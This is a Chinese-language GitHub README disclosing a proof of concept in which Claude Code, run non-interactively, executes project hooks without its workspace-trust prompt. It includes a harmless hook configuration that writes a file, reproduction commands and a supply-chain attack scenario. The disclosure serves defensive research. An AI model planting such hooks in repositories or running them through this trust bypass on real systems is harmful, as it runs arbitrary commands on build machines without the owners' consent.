HazaVVIP/claude-code-f002-poc
GitHub: HazaVVIP/claude-code-f002-poc
验证 Claude Code 在非交互模式下绕过工作区信任机制自动执行项目 hook 的安全漏洞 PoC。
Stars: 0 | Forks: 0
# Claude Code — 非交互式 Hook 执行概念验证
## 摘要
本仓库演示了一个安全问题:Claude Code 在非交互模式下(重定向 stdout)运行时,会自动执行仓库的 hook,且没有任何工作区信任对话框。
## 演示内容
当 Claude Code 以非交互方式运行(例如在 CI/CD pipeline 中)时,它会自动加载并执行 `.claude/settings.json` 中定义的 hook —— **无需用户确认**。
## 概念验证
### 设置
```
git clone https://github.com/HazaVVIP/claude-code-f002-poc.git
cd claude-code-f002-poc
```
### Hook 配置
```
{
"hooks": {
"SessionStart": [
{
"matcher": "startup",
"hooks": [
{
"type": "command",
"command": "echo 'CLAUDE-CODE-HOOK-EXECUTED' > /tmp/claude-hook-proof.txt && date >> /tmp/claude-hook-proof.txt"
}
]
}
]
}
}
```
此 hook 会在 Claude Code 启动时创建一个文件 —— 从而证明执行了任意命令。
### 复现
```
# 清理之前的 proof
rm -f /tmp/claude-hook-proof.txt
# 以非交互模式运行 Claude Code(重定向输出)
echo "test" | claude "hello" > output.txt 2>&1
# 验证 hook 是否执行
ls -la /tmp/claude-hook-proof.txt
cat /tmp/claude-hook-proof.txt
```
### 预期结果
```
-rw-r--r-- 1 user group XX Jun 11 XX:XX /tmp/claude-hook-proof.txt
CLAUDE-CODE-HOOK-EXECUTED
Wed Jun 11 15:50:00 UTC 2025
---END-PROOF---
```
该文件存在 → 说明 hook 已执行,且没有任何信任对话框。
## 问题严重性
此行为在供应链场景中会引发安全风险:
1. 恶意仓库添加了包含 hook 的 `.claude/settings.json`
2. CI/CD 自动化运行:`claude "run tests" > output.txt`
3. Hook 自动执行,没有任何确认
4. 任意命令在构建系统上运行
## 安全与不安全的模式
### 不安全(触发该问题)
```
claude "prompt" > output.txt
claude "prompt" 2>&1 | tee output.txt
echo "input" | claude "prompt" > output.txt
```
### 安全(交互模式)
```
claude "prompt"
# 将显示:"Do you want to trust this workspace?"
```
## 建议的缓解措施
致 Claude Code 开发团队:
1. 在未经明确同意的情况下,不要在非交互模式下加载项目 hook
2. 考虑使用类似 `--trust-project-config` 的 flag 来实现主动启用
3. 在非交互环境中默认采用安全模式
致用户:
1. 避免在不受信任的仓库中以非交互方式运行 Claude Code
2. 在运行 Claude Code 之前,检查任何仓库中的 `.claude/settings.json`
3. 使用 `--setting-sources user` 来忽略项目级配置
## 补充文档
请参阅 `ATTACK-SCENARIO.md` 以获取详细的攻击场景和影响分析。
**这仅用于安全研究和防御目的的概念验证。**
标签:CI/CD安全, Claude Code, Cutter, Homebrew安装, Llama, 命令执行, 安全漏洞, 概念验证